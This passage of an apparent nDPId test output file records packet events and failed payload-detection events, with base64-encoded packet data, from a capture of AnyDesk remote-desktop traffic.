XWSAcWZzi2xDUaAWiHgMxDx+LK+fmsQIq03HZTlHXBJ3UpkKSuamGGJm\/QtQWlGqrhHl6NVff5MMR95JL8OGyfUNZ9CLZzVqqiVHN5bNdpeLlI7Ft\/O+6N+eMiQjJm\/hVqdJwrYDejQU3T2uXPpAN\/CDuQ+pXcqSamHQ3UURc9dbuCLin+IYAAKL\/Ac3Qv6YlcQ+99pjQlEH5r0\/3dZDvyeWd0wJhiBFqxZczalmGS4RTV8OXKhrHmBTbxtlAWf77SQYMDzEj2Rfcm6LOswQ6ow6dyGMn5bhC5WnDsJ1Y0S4sNTLL3nZHHWvlajCkIyBIP0CMcRq7WLE8SdGCnwyLCM1DXg\/CUpBdOIuvKZSEADr8dAOZeP6pHG2qxR4QKaZpET6ZL3GPv+QOcxW4XJBaSr9xPpUa1GwN1PGAUxO1+M0kZsDrmQgcnNGEwo0cCUxNE99LTvJyMIuXphbDvkhmB3SrXWalQxiAPdOXZIh465OJiv3fWEamevK47YPO09BC8cFBgyyvx6zL06Bp5d6PYIcIC+U19ylI7QR3GnCr2wPB28KtusyzcGj5\/c6jYSPrAhntJeVpPYSxqsK0abOXA3lOtzcne+0DOksFEu9soCLNusTAi+vJIcpWmw6qSLHBu3GrejGtsOJOf\/6oq2u2Q63B79smuSg+aPRRsR5hqWg+Af8yEfUYi3yDgzSYOgau3o3M4uq4KPJ8zX7FezCZJnFchNLp\/1jf0QFo6iSiKH2Z7PVTCUqJQQYVnKYyXdHsvMjvEqaXpAOqUM182VXXbGFnZthNKirhPgxG\/uvGi3iMx+qYj+gBgBMEMde2WAFTyw+2XmmiDhu2CSyxtkwwZr303MVk6J+4mrfcmrTyOH3Yy7grJf9MWgLuPYHK4lI2x3ZMWVrUxzLrCScbTpwLEZcFoaz+73inJeT2ddj3usiQV534nKdnGWDG03+g9xuhTmMQ9U3KTgR7c2KKISoEZOv7Y7GwM6a3tuD1rQxAGft+Y7xg+ky2xff8XPf+Nye75LTS1OxiwRpn98MiXzfY1SMy\/vQOL96VkXCNTxlO5EqHFoNILwVhvpQsYJ5YcipPCTizORpT3wQzsbsTYYDkHsce0WWIbDOOQTn4pJL5yflLWbkwynIyBYSmkdm+p8YYq6JXLRoxGh8UVrM2nEkFB9HOx6xUilqisaz1glaNGBior6t4g\/Dzfhu3qNGkZcZrnnQzu2USjEx3f7IeUx9mGR29rAglJlOZ4Is73rIi5sFOkbqCp73DycNJHlPrtKbeLIsLXhRKXzMUHMppwhYKAbT4zb9KO+IAPHEMTmP7FBX8bnDGm+16Rm75kldyXcCvK6uLKHsJ1J\/OXf1ct+P6I1QoSCQUQ6mBm5ovQiEaP1MvH74NEHA4k3VECX02+Z3NzuF+1M+e1WAVKdbIm7\/MLEvqncezR3KbMr38TEZEkHAXHtgr1ewHqia5wFyL4c0qnxGwhHqYr8Uyc13Sju9SRVCh2auqOo1Um\/Co5lDA+xgzkrJIammdUlaXHv7nnXU6XM4MScl7mgnMmnhihX5mb5pibFgS3SCLenLBF7jQLcyRnw2JFnXBdBsBxHAv52uP1x8SuM12AMKmH+vy0NHQR09pejw5Jie4g+xB6mAqB\/Yx9kx3VYJeokcYh5YHC3oJO8clbME1L523kiwqaTUa\/kcUjtKyZ00kkCZ3GRbVmSOY4Tb\/wLb7h0EGiN8Jq83CxrwqT\/zGdUxR5Mdjarc9XE8aWO1E7FiiwnITDRYTnYfXw3JPLTpDhsotBlWeYwN1eSrMHxQocqrrnqlH5nPpVTfj3vSbvykbvQbUkGsR93YGnxZBjd3zzpZHmJAx0FoNg1HA4MWordK7ZO065QDRI+SdKkU5iTr2dYwMR2gsegxPQ\/th1Sti7IURN+9XNImVBwf5qmx053VFc1oCemfmRFZ\/Lvb4OWVx\/rjNe6o7o0qyRwTBnUPOlQJdcKyRh6isk4nl9XQFYX+Tjv5EiuM5KNC7PCN062GzjU9fGn40IAubZCLsEIb17uNLvkqNmaH51EsVWqen1XTzst8\/1pV8DyKYHH0KAggcqi2kJTnlvtlBP4SMo9XOh2\/XU6Yb1eFmGxW3E8PcA0QOjKWIJTX7kCaMHkGzobdMfYl6l+nL1JBQsAUiKR5w4Pr1WDi3P8VMa+NMPsqrDl\/KQ3MUjjNbdlKOFy6mC+WAjydDI2Z4gJ1\/Vap\/eXED3BwINEnHa4qOsBcs5cjn5XGFYkyTJP+3nszYK6vFKLthiicr3aJ4WPKCMZGChE8LXVTtAXj5ClL\/ErQEp+e3ejJw4BBEMj4+Wo7NuwYKOfrUtWddDRwX87cUutF6go5P8yRIGFwarB9qRxnyrgE1E\/bCTySUq52Rtq8bWbL6aWJkG+iNmfKY6fz5mQKwVWClNCpN6ppe\/AvXcfRgFxA8zb37FPfRPTE2qpX64PboULocxNWx2T1iWUOXfo52tlNa0MJ0aLTb8ov88B5MjXWBzfARoF0QOQHjkyvs8\/Em4CoS63mua0yegq4TLj65XjTzuJg6FNjRqQkEPDQSUra3SvyDJOB8j8Js\/ATsWjaDaj2bT7rT4J5VHlS5OA+0FOoUK7wSYaeC6F1wPcUx4YTe4X\/uCQKDJ91nIW21COt8ytYNyqLuHGB9wq98KBOpdTuKrL1UlgdggAIVav5ttks5p5iHUHjpFcijor7EEv7t3CiGJvrXaxc0TBnKjuld60d++xj1IW639tZRtQROtZxJRDvI8T0JeiDKdRl9JxU1oRwOi+E\/M9Y39FVvRhZRmwJt9IzZOyzpaY7oQotZnp0jNcC0XOO4lc9Z51nDnLr+yHuwHXww75lABnb3It3eDmNId6V9Yt+1MUBQqsRKD5GdsKotkjsZTYVz6lU3nQuClfmKxXHVshrzZ9R87XQ+kUJCK2EhBrHK\/vgB3j4\/7NnWblGZGCihEWgDk6DowaG2qk47R9i3\/kvAVtYJrRcz9KwSjHBDnXkBIRMz65G9i6nhZz+RrkKZzI599IfK\/ZEpVZ7ewnLPJyMQoPgats\/EJl3lCVMIs6W\/iAZ3c8FG55poV4pREmfX\/ypKMha665FFYYwwxM1pKxh37Lw8BSSdQ\/9JCcrLOCxf6aRN\/KvjwKcTSz5IkDLSIeZ1\/vBT3BKYcfnj44GecqaZQbVuw8kwWyjw\/UqTID+JLdT7CpGWcF1PYrrl85RZFYySAWFmvqil3vbuT3NQ8oDJJ28778ASHq2\/FWGpiH4BIN9DqqD51mfUebccJfDrj30anYZ25oj8vQq72i\/RvT623WwQRKSOdHWsTU9zqLLHMucdJ19yjz\/Dl\/zx5K+ixRTSeSqAZa8031D\/8GTcgSbC3lqxesje+PH3\/x8KAr7bkhN3hi0\/8f7xywt9j9OfcUR+bBcvD82MCBgW6fmDUqrgIAVNOO138j1b0UITy7dMe6wx+oebrk4SQu6oMMuLnL1aaUYuhfeoLs0WAIjDG69CvkghX56vEUwo97Qm+xf6kwnHJ\/84WvZJhNhitQmGo3J8UwHaTc44sf0G6EBEP5MtvHNit9rscRj57Zjt8WO4vH7hcZLtkJMGynPO9WVSz\/EafgCR3h8qFmpMLOFq2nfqSCH6MjzDtJiGYTlgc3nIeuWHDwm5Y+eqAlgeYcUQftin+EbznnYUpkn9uU+SL94OcB8kzJsCY0k2XWyqicK+mReg4cwVfeUut2hNRtL9iKv+VB7OG2qXsc3UJ+I9GW0XPfccOe+wLaHE9pl+Cif6DG9J6LEYjR4ZVWeGfbz+1Nnz\/VtDIv37jOMU6mYiY9c9yb22it0ZFnwOTFu6yDRvvkbsTCxKYy7rE\/QHl5y\/3YXptwRtJqpSY6EKqlvkuCpn5Pk57pzAjFOMcwprLdTxAb8iAmkYConeRO1N0mOomyytp3KddY1MPvAumo6gw9kOd7wgl+miyU+Jjt\/0nm2yMWxZzAVFlVKpL4Dzq91LXpm9mDW2s5VUq07zT\/uds0ZIbAFve0kZTFayW5bRbmpgor4g5v1Ap5K4kPJ1BoHDzzo4AyntDesOv\/8prZRC7v4nSp1f0RUBzqq1Ct6vQBXcTNWaRoNWMZ2F1ecpCq5ZGzsuznpykL8y0M8gLPzDtxwJkEQZ2gLqxBA0dqLBgLA\/IbOdhD3Wdh7\/7udS4GCIWSGsrg8w+Ojr316nN8Y2ahfcUAMGilIi7Hb1RmNt2N5lq7+TgEn0C48Iq6yPnlr0bi9Fhjyo0Fo76Yvm1qtXSq4PXO5z2Jy7GzyU+\/G6KrbHe+VQr1T4\/MOH3pGgfccvmJHHo1OV1+AqYLOq7QDrpElqzOb\/rBMLJCwIxqAvahsmiB4oS5bRDnz7TOLocxTm1D8cR3pK9dBhyNlHLv34tEVBe7O3tQcOr\/meETmakI9hHIp\/mKqLvCpHkVCFPK7spobtJoaDdDNRdH2oCW5tTfBG2fDQKaJ5b6KVDHO\/5fuPCENzfp5StzSCjT3YaAHVOMVivkmVpN6EZB4HqQW5sjhrBgDai0kwjVgDg6lFDTCDD5ol+MLwrClr2dsdyJVH4dSEcmSdvniH92X\/b0np6kpmsAPQIfcKV6ys7UfEmZJaBjODVl8zqkth3dolU2SDnDAKRgVlduS55x30kkuigioHcKGLNpZQF7gAZqj\/GI+K3YVnsmvJ\/HftNEdaaCU8To1C9FUkMz5HMxSWG5C+odJut5OIUq0jPeI6sxk3EnzJGAog5wDJxaaMy8AwWiOtXgeXS4E+piGCLEEn2vfFzeos90mAM8AThBzW81qOiReIX1ORV8RBxwUwmEvTvt8FL9CXVf8gZsuGOUI4oOyWE5xbhZweoVpk6ksQgL+AbSHlHobUWWQUVTLlUKS8s5qSc5oyPJZ7CJwyRW25xAYvSVyWDX40tVMlr7QGPGXXqdM6b7gHK1b6YzBa0uFcYOc14JZ83qK6\/aLjkFgy0PPpC7boBb9XUa3FRIOBRj20Ttw8KvhK\/FTNjRGxYkEMNEJF5uwSq6tOt8xgh9WcCb7ZtAdy48HqZ9BDyDxmAZKAteSZ+3uNpPY1z\/y2cciMbMe8Z2T9Pzp7DhczyhfuzUM3YQUH7ve9We7RVKO4qmocrJ04V4ORydwKjolf4NveQQNTjQNU\/EymPTy8O76L3UNZxXUXvM+F0IozRU\/t72Ole\/+9CAm1t1Gm5Ky6SKDAGiP9S8pZuasQ6zSrEnRsGzr2ky4DxapYxxYPfFRaZJAbduabugtGLxhOINiZNqRR6PvlqaYaTKZZ\/zkNtIYkGv2tJhUjUyrXqCE7mBCLVESouHUu\/QAFWXdt8DM+WHHBOynszeBWM8AH3smjc\/CLLVMekunU\/47+IZO6E5OhwfkMKr7XpAK8TVRecArJiJFEF+Gj9ruPaFuIoKPryCw3yDJIu6dMF7INmYprWP9UpmUDf+5mR7m36eGei3TLusbrHt3pFcGTOXzHm\/68eFrkMBbzKfW6l+Zh+bU\/1QZ\/fWWHw93jqGX4fJMSxUTlNHcKq+W\/IJmRwTqHEWqUA+LFBUU6VYQvW5RuvNlBbQ6bE+pFMzNurmDyH"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2147,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":5522} +03307{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2148,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":136903,"pkt_caplen":2211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":2211,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhcJAAIAGAADAqAG7wKgBstOUG56PMt7hWcRIL1AYIBKExAAAFwMDCGhZ4hNO+msXDJRl7XSapj2Uut+5fLijNET+TZd2PCp4QjJU+VHPN3DAD9HhqiQ9cN\/99\/zPMeEEvjS\/Z2qaGWCnha0cy63hdC5Ovm+dMkQr2het1zPeiWGIz\/ra7Lh2ck6ftEesixYr5GfqcL5Tj8cIc0MBqfPU3GK+NzYZILhxucuRoy3jOIKizh7v2cop3IvthGxkDHpqJHWJe9bO4dkXDFnYWZLABrWQR6lAdmMkJEsWCj704gBQrE\/75dae6dSySPFAEG1IeQUjqfpt+AwsRPBDjVB2597qcaNwAimXMU+muOLsCShkhqxxSXjNJizDAnDNu7RAuFgNXgh22\/\/uEPfHyawWcLlwCBroEZtQmuy5CoEoOFV1CIQdVZd+XGIH1MYVjeePv7kyeDZbj7OpJrJS70y1enkONnc383HqsHhiQAz5HrSe1ji3gfH704fg7o81C2FKsoOVarzGLNpqz4euZUV+H9CkZmmK1Q+2JpN1UQrsKofzh+Fre8F29LMLtjZen7BCyynIK6\/Bp6OCKTUDvPDKOrXxpOV84QFDVgnH3VyHWXT27ZXRAjLED3Kv8+W5PhAMKI1e2y\/CsCCmiUrKZI5iAOuD0jtxWptxtPtjUh\/9533xukF\/kWRpWqlMLF8584e8+CRApV5+oYr6ikGQmPsqMVuSW8YrkS4QTyw1t4LI4Lj+0wuywYyohWs1d7hMmD23mWJxykCBISxxplgZrBRZR2YBwJD0L9bQvvzp4SIMOwh3Yvn6HfxZxh1xGBontBgCmEcuATWT26a9aQf4z68g\/g2BQnp0QY40mV0hKLZKFVxmp9YFp9DYFKZndsTnljNxdMKyBc+HYKU+GhbHEbnVMiTvYyNFCaGSeC8q1oB7CwYT\/4r71BYZzXv8gemERxgwwAlHP+6Vs4RihKfuVJRnYYq4QeMFsPpCkV82360SmPNCigqXbQATfh9OebjvsQqLfVW3TpmLRsWU\/7Etw4nY1QAHMBy3y\/XkVkjYaRH718PpcQB2pfytp+hnIF9XCL5kqrFeneDJUwpjmHUf+8KwSQn7wmcp4XD9mUCsLqgv1BDMP\/XE9bxaWZQmswu2CE7nCtbHSKVPMh82omKe3Xix3g\/A5lKccKpgW1jCkFGjJIlK7grzijovwPvymd+HES6Se\/Oy744WHR3lWeDr03WgekKYxPmHup98bCmdSpbI8oX2JlQ\/uaS1IzmwLCRafwlamytjSI38Aw\/TlMGXIkgM0\/GuK5jlI+481\/ubMXUvpn5GqnhkN8I62e+TrWW5afJmBW8p4Gbe4IDz\/TOved9PYbOIeYWEX9nYZIgy3JFUzwTa3xh8qXpOKhr91iTlkFcxAYug\/GRCS4ANjDDeRgxpNSXG0JeUxl8au\/0ixlxTOlNSK5qpdlDTnjmeS3iRrCi3Te2UhPAtpq80VosPx\/wk1aV0qCZffOku82WgUySErnD9Ci7i1TGb\/Hpu08UQ3KDxabjka9e1uP4cfhaAdX5+vditpaM9AGPtgw4mwoVodF6BL+gZMmAKfhhk\/lqQz4jwDbMC78+9eQTjKy3NWAkNAY9Dsbbyxy7uz4n6dGrAT5QfzfS4ETYPxc5LKm4Vcr5cBLzIfiSE1lADzKHD\/HTbscBHdlyjX0FGxHVNM5HsfaedgIVnsQLmmPNHSiT\/D9QVHYuDfXaqyoKNYlC0lLJIOcbf2g393IXmR0s2OOmA\/bBYz5J6xgB8kDAyYFXTRuPVGS\/YfzVLfPH+HdlzdewSjbEJH7\/7nzUuMYpThb8ebzuIIm41iSrMUxm95\/blp60OVxw4XIA557XilkwS0Np1kZvHouJltU7FVivLHU9I2ZhAvge4bT4y0TllUOsYAs4p3SKFSOkzPrAJoEN0SKBfJLWq3EMjQrx6WNkGpnE3kSGJCOpc7HDZjM6mtUc9Nrmj5vqdvKI1oFyInllZWU+WqZkyGvsQWrQNAwWouZNjqLWxJFRKkocIF1GQB7yP6SLyCZV1Mku2LuXEPbDeeIvqJjUiy1izdkZJS+aKga4YN7491h3\/XBfsto2eJyRYZrduwadGPa+Fzyj1Gw9BLrcogIjjw8Jnse0rEq3C1E9jP9MJzR0kJesz8nJ5jlh30zQAWo0hIC++zpwAZyT+yS6h2hMRSx6NTWF8ic70dmBAfbsB3JLyv5Q2V5qjFQKnFu\/UeZ+c61CqsGXmT30\/0ZDdqz+9\/2vJ0fgngSq4e9jsbHXLcCHHnyR28ngdoC2+wQYBIDEelKrPMNnZpGLUdwo2LFraYcm1Pko+6zSyTkweVlXhTkh4mRFu9pxg5KPGwKzzYj1OfLakzgq\/wC4MhkTPD8BfYkka5BidqNAQtHL1lvq2H5CtQeMKa+4MFZO\/SEb8M3DcG90s8\/rWUbx1YdnnhyAp852zvERSvIonuhQboHFOW5B0dYtL9YglVFP6rKEdUQ\/pn5h\/YbpFnECiDvQw6SQJe9DJaNU076JlsgutI\/InDBs+r5TDwvhU\/1KVFjCXGGFhcAZbRPWEnkl6zIB1VGyGYyjtO8Mh0cK6JjyKpjnljpPceuDRvXb1eFkTb0xjuxXVrzG3eTucfG4ix1JH4MTGIrYF5k\/1UoltC9mKm7bcEGY\/0lxi2vLTnthD4f9EEHc6vNw2\/kVF1v1pMpk34789cEOOhYwgSBRBPwudNSZ0LxmhRRdg0vT\/bo8bpMpaoUWw0i+vQRVMrsWQ3FhLe3ly8\/HOCN5GjPW70R2n9KkJ7cPEMUmOokgRm9g\/k2ixzqlH61CF5E\/aWO+lXrbzMQYTj1NvEe\/BQp9peLanVxEjOhD7OkeI6wBNDkhi\/KFBjRLtvp8tzPm3rme9jOPHfjGRydNOkGaoai9HPCbvHs0N"} +00178{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":2148,"source":"anydesk-2.pcap","alias":"nDPId-test","l4_data_len":2177} +07842{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":2149,"source":"anydesk-2.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1613977615,"pkt_ts_usec":137580,"pkt_caplen":5556,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":5556,"pkt_l4_len":0,"pkt":"KDc3AG3I2MuK4S0uCABFAAAAhcRAAIAGAADAqAG7wKgBstOUG56PMudOWcRIL1AYIBKExAAAFwMDFXlZ4hNO+msXDVAIlodf58P5oBbU3ga\/CHq8CpulivX6wCppgywtgo3i3Lm6PbUQhWbzF9Wc6Q94R6YoqZkRmqJJxhiSs7ETrCTI01tYJBrr1AdDiv523ISC105zOEcRh8SnZxkBC8JQY9O1ZSNh3XyiMsWxsqqBp0OB9d5Mj9OzSB\/bWEKRuv5P8XBxTFYXPGnnizTErKCX2U5paR41e9W0MHc+1aNewmUW1QbLzPhAcDlqX+nOh5qlGWQR8EkfUc3mvNsEe1KYDMNxnxIEYf1odUcnzC3yfJYSUu2NXN6XPLEaELrm1mSY4pHyPpkfiNTqv9EckLCEAwacWmMyao1n3oRecMxovlAKKYwQvOezfHwJ4yskTW1cR3mgTJETI3CoXtj\/gnSx2XOFG0jXxJgqLieN4ZbtlGAx8Icj9pQO015iWI2TCF9ZiszJlwbbsOatGXFqdMppBVtuNuj9bpi0Jk566TYhAB97PB\/uV\/zTV1Sg6IavadPj2WyVizJY0kJq9Kxs4lRok9TL6gm3DYm3nqJoxr1KeT+fwyhpLSmtmKzoV9CfyGBYUSwlWHyN0eaSjOHwybkfATexm7nWBpP1vSt3dPrKHRbz9Iz06l+vMBmMisIFFxG1g76uODvNnJzDatMhcum4tBBlnFtcyJ9JqqP+cdA\/RGnPM42ZGLIW8OIrZbxZvDDNuzmicxgoQDzhVcovv+YQGN4uvZx5ozIKkjZWayKHAFInNkRuroljGSiqd8dr96DFIcHduSuPa0ywPkExHrzQyvGnd9XexspIT5b6VttNdc8SjLIdHYkDwgD+X5AcgRk7xQJTJXhb4wlZRBoyLyV68Ev1YRLXm3TS74Cc6lLRg6vgSYlu4l\/ySLzlwoE9d1EWWW+KcEKQ2cv\/n4x9hBpZhyZT4GGXAJ04Au86fB5L00vdj\/46ftVxWUVUu\/jbbxVAn\/GY8bgrVtUYT7A25EUGyaPyQw\/GJ5nhJ+Etfnq\/lBiUXNm6IAaKQN\/\/598TbPOVCB0mIZ7+9bOgiiRZa38ubwAqsnh+CSiEsp9wtyU2iy5yjidYq1jtUpLHFTTp8mJ+5NnlmpuN7b\/5mg8Myb4pVdF5+oi\/ne9oToAzdkWvT+mjaOf592oyTA+MvlK0E4iecRw0qdLqhUp5LD8hErETBv\/+VS1WKC\/e8528N\/oyClzS\/9kdffF8CjZ8QEsaqHH8+Tlc+PQnxhd1mHxx5EIOyaxK190WGzTJ0JXmAskfAlc69xIkNsL2iIYstG1yvFZDsF\/2\/qh7bHCP28wnVo2NMTW+Vgp42Tlrr06NDklyzhq3Rcvujs3phnBRgfALPk8i\/Bl\/nwJUXV2Ms4IlUuVPQEzvanLO7Axz96XI88j3aQbFDuExJnUWV86ADSyZDeG\/GHDLvUdUdy1o2bOgMx5XbPxaixgc3gbPx3y9yC72k4OD91L421TJPOl2IT22uXTuYJth1qlMWFjCnOin3yElwvFltKLwDZW\/eS6gbpTplc\/XcmiCvyfGuOp3joj4xgeGflvmjU1mihqxCtSTwWfhFaQqqHr+QyezjxFkuqD\/\/XCORZWl5tja8Ikz5vZ5AJ6vdifPUyHhmMVoql9nMEh05UdvoDr3VDueP4afcfMEOqiRBASgLfO2Gc5Mro4TyYY9aCPm+s20YpDKp35HcICiaQ1uJ+sriaAlFc6ku4NA1rBBS4lLHwqXeIQM2lgyGBjZVm93LOoDT5YysmSpOeNd\/j2\/79s3bTGh\/6ruKKFd\/uHvVrlFW8XKLhD9q8hbd+asPs09n3dToI4Kz\/xlZpZQOs8U3itwrT56i4o8NLzi3l1\/8txNqlzZyLdSyd7tZPyMgI3qggGwwo\/pm6e2DOy4aB2ZbHvia\/Zx8WrgsFHXbC6AZ8M8IuP3Xw0\/WZuHQiam2xQ5CRiUODD2PBqF\/JeN3sKpIAPdX1lRQEZ5bJTYJDfap4xUy5tpk36eAVxvMkVWD9ba3q+vs3OrbWcoL0goUSjWDR9sEeRDkD38WPja1TNpLoDRt1bU+ZeZWxaMvXQsG5+zdo4ZKxHPxL7cHNlHdYgyy+dl02fzajJjGNEimx1k6TJdjhfUAe8spVsS+vLJJ4a8qfZX2Dw9e+whjeG2Lde3aXxfpRUTNOkQsmCExtCbi+o3hAMMMcOHfjRK8ytB8RSoNsXLTpAmYUdQFx+myujsZIw4gaHy47M\/Wh9iV1x4Xl0mavAgnqPBmiiITdwHK6W\/pgFn1Rf0LZWBA2HPgAJ972ySd6gtiYVaInYAp5vJxx6b\/nSXEsIu1beC1gUY6N+JvrVtKZFThNbHqm8BAAONVQ0PrYWT984\/GICaWY+9kzdngj+VJyeO6FN2v0SL1kF99NpaFr9FSxSTUjr59mukWJX0S2phnFh7eGdGxYn+hOYLTIMkPEgxgqNXlbKaQ4s5zQt5hg+4NIAnrUjYd8MnUAfKb5NfmH+cxxVpTujXkMJ7k48MShiEuQiWMKkX0wSFzpgbivkEPhiaDW8X4+mXLwrtJQzwsfLcOttTd61yRUxeQyNMt\/zl6SLMMLeqYhxZg+UjuRSqp5FOMY\/BQacqF\/DQBJT07FOqLYtbkNOfuj\/PwE8XgKYfaZzODkP0HKrmDK\/lryFWHS6UNnAKsVAt06zlnZ+rC8yF9i9WrF9Bb4stZoDyodcYPB22YW3fXHEPY9MuGk2AyiIgTR+a8p9MzQtTWsd+ShgeFTqO4Dssr77LIMB+zvIYZKDwSBvFvlcy093cdDyrsghFbA6zYMAwwWut\/6jLMMkgcystj5fWC73pQVyjd9MQ1VvdaDf1Tjd5RGb8khTc\/lc90puyWrR428V1XQ65xE2siYp\/Hopu8EPYgsoAIZA8GAsh4ma6O9SoH4r10ffbfhNDlVl1+ako\/OrjEZJgkno5lGSa0dWOnfFATigZxc+z999k6p8sEqouJOtDvs4wZepN7M\/g\/ZtjfvooVCt2TqP4MUwpwE36nE7MEXVoo9A9O6hqxhVsIqOaYelnCy5F\/eAUcnWOTLMsDtur\/OdS11QsifeuQvyW23wuWLbDoL6NTH20UTzXdYcMuqGtfOmcdIC9trzx\/9NWUllnj5vEVMam8KbOiuggxh4IIv2KksUcMebFHMUtX2z6jJUpDybHjb2hCk+Mo+ZqcuCoGPvgkK++ghQyBdxNcGWtXKz\/hZIy\/lkTm2MkzXVf\/GMo6MtutSL0pRdsWC1LHzNObwlEOsJw8Mzl7WTV0bej+gP+VPF10EJXbq8H\/cMnLFhQo5mMDjA4bRWegS6BPfU7+5z1A3u8X557utqpQQnNlhepIx0FRe1qEHThxIFeZNCFH1UPSKzEUxgSpT20o50PFtHGnK8aSJIbw\/phOhgtF6B+3dwCZfseH7LtwpnoCL3zWobVZ5BaenR+sZTO\/BmtmInFiJIyc0pKCcF+y0Lwxh5o9AbA6ooNxS9oKf61lz4LSuqJfiE5HWjoVrSVms3GczSPfYzSxlp4E9FJMGhr71+W5ee9KOH1pnsv8enQ6U4PIonX1YSgOpWhfNW4Iu+DLAd\/O6sdyfi1fo7A+unJfFIvP7jqDJX4L0St7ddggaOWS+WjUZFljbQgQzZhZQ4iPRHHc4l+nF2\/9+ckYqJ0Eb8HZCdhxwSb50REXyq4gu\/JGfS\/lUvvl1uBWS31kvIKDvQEI\/kk62VIBwfBcmwxgHmgw863p5Fp900iz3qHxZn9yveGlF09wh3joSfR7PZJ8Ba39vgrwBYLErYvI469xujM8nkw6tY2xiO0iC\/2xfkwdg3UDkvM9Iz04gMVRb3huHKAAnvAhHoAR3\/bJFST+j0XTQb0cM8ot6rl3LPg3mtS5+cs5KN94JhxsHos7kwutHgjLXDVB+1Pch1rP3iTuo0qXh9Ooy5v4N90ydIlYvawIVz029t2YgCXDeD8WGO3\/OX0\/UGCn4agXMgr7KU\/v0vuQc0ri5XIVXPKabK2KMx1IeyA1lTEr5gI7kQrlobSqPVzWs6SOLmrAkgeSWV8oTSZGYPceUNmpxgRu5xC1JHfPT+UxPSC9oe5eLtxnn25pAE0nxEOmqa2koPbD8W7xdoQPfzG\/JrkGdsDYDJSW6E\/jUWQ6QY9ymoRtab6kAjl0GQq6IbPTegh4l2mO\/RQ9jYgTvZ3DE8BhFzoTauMZcbGwkp5jvzfNXHQaZcRRpz5GO\/hS+Z+Rz5D5efVj253N4QUemZAllm+ZFLFH0WENyWc4IP63R+fQZhro2DZDzKkkJeYDRki33kJreuzsXpMt4ef3LI5r0EiTuYi\/4hRYWb8+KDTQfHfNGTCCNnLoYClEBtjvu1ps4AVLS3CW7MQeRnjQTVtbrTnnSr+Veh3YaIZeZCdeEgPPBOZkmSJpTqCUnm1gHYVIqs1kJGU9HyTUep3T9pKaqyld4bDsEsz8IrD2TLYpq83eejj70yz\/fM4tnBzBnejX3Kv5wNh9dE1xWUkEQnIxvBZcjE6HS7Y9VnoZ7RPHJOCusS9qQHnuRBIvMXlwCzVy6mrt8UvAuZu5sBxvBewJL5W\/Xe6WJLj+nPSxikqM+hsiq2qinybr05UrKI9Pkq6\/w8Rl\/8Vq\/p0qEz+ERIrdMD2nZIvUqlGxiR+9tiDEqwl\/x4lRNsNb+cLAHmjDUPU\/NcOD1Oq0839389IeFZcT4WhyK1GRUzsHSHAeoaMZiRWL9Q20Z\/lMwZl2C5ytJqSuDjzP7GS\/YybagmjwkFeu3TedSKzxazh0N9kypRSeehqXmoMXentxfGwEQnTBtNQtUj3Zx7vixQnUXRzfsvF\/yCpxAM0P3A24ezCrdzWiaUnH6ZVNH5B6Pl0h9zbaYfe4Z4bTcGUeFZcEAb3R\/Z0ILNF2LdkNkIaNE4frIFCK0hGMd0x77VOrBF6P+bHjTC1tLolQPUOTDPG15x\/g+h0iEs8LkVfzV78XLy4QaqDX5G22w2HaipPV22D2hEl\/rjqKNm17g6+v1hbFFS3x\/p3GyRuHG1gDwWsKa1wwxtHXFun5GsBQAennNzTCH6QTEF\/O5xD9yCphHX2TlO3K4SmdhNBD0p9B1W0Y\/QwzDTL4zP+IifbmFl2zSuPtbxI4HATAxEfPGq1luki\/42C5kI4h0w6hjYd4frjqeJZm3qLxKLeZvxE+Lw348w31Cq67AQSB4CNflVNdNaKiGJE8NIOCdrxGFj\/jzH7GaI1SJFxkojxhR643\/12mcUiQ3gkBJdaxZNGzl7+m8+Llj4A2\/LDcF3BnIY8LVGh2VR1FSCMki61GNtO0sxbKwQe8KYpOV8Gs5mIlVYC5\/\/8iME3zd+6OCVKQT6TW4V15Kc5m047Fv9\/AgEhIG2bj2y7O7d0OKDHCtMuf1R1qckHHRz\/ZHnDtHCtNlH+\/BergK6nuuwI27YQu82bI2jmiPbhs4aKo8Zk2hxHsJV4S4FdNFfgpL5cqLZJrd1eFVxMmOAG99rNc83xw17rNyzZp0OYypYDo0BtV1imTRPQ7J83xVWsE7e44\/DBQXNYtVXtKhjoKnTNHpuFrlANI7u88MYE6nZzch1GB71FgHOqGjGNTmQEPTR4cA8FtURYb3bQfmLM5m5WB7dAY6cMdEC+TEtQgKmZ0gDuz934yWroEgvcS7WkB2\/MikYCkW3hrZwdGbb4FCYF8IaCYimVdJFsAwQ2A5NrVuQVGIkA0XtTBxj9mBFH4knnxeDgUPrTJ8691Kj1geMxLo7EgVt58LU0c1WyM54KIOt9iPoap4O2SbSQMCUCLBvCK0z3EVeAB7jI4K3FemOmbrPo0hx+irrs8r6g5t\/saVQCJ3Ikhso0USJ\/425JQtgnBNxA9sTyU0Br64KgdWqA\/rUMbljpM3Q4cjT6C2MklNBQDIliPs2DGW3+ti6FEHQNAeyK5JaLi4abk+VC+vGGK36NYXtszosxE63+uOM9S7tOsJcrjjbeVMgiP6MhGncP9BS+R+axiHjdwADCvtRLbfeYvPJQNqN2LoFQKoKA6R+46NWdQDiXQtkh3QgxBaOdR6b4xPCiEUTaXWNgzAUdSbIzSQVsDKtZLFKSQyjskZYkPLRuY\/hbLaHlpB6VOZ1bXLdbhu5O3tcKxtep\/BCYNWe09OOVVBx8P4Gc2ULT5DibIjF97HFBvr6f8mkFEkDCSPwSKALczNqqgD6ZWRG13oOokdTlquonfWEDjjbq2cAYhGYV0Zye7eTHsC9hTYV5pWA\/JAB7Gd3URuk6XE6XAxfX9mM+1qR29XhV6HRD3QpixGB\/bf09vjakXia22omvK4VFEhUdqs0hCVlP1lL1W5toouiOLdwoPGHfEuFbKLoYa49DLzzXEoLjB9xvW0GaWL48V6GejczocL8ZZyFUsg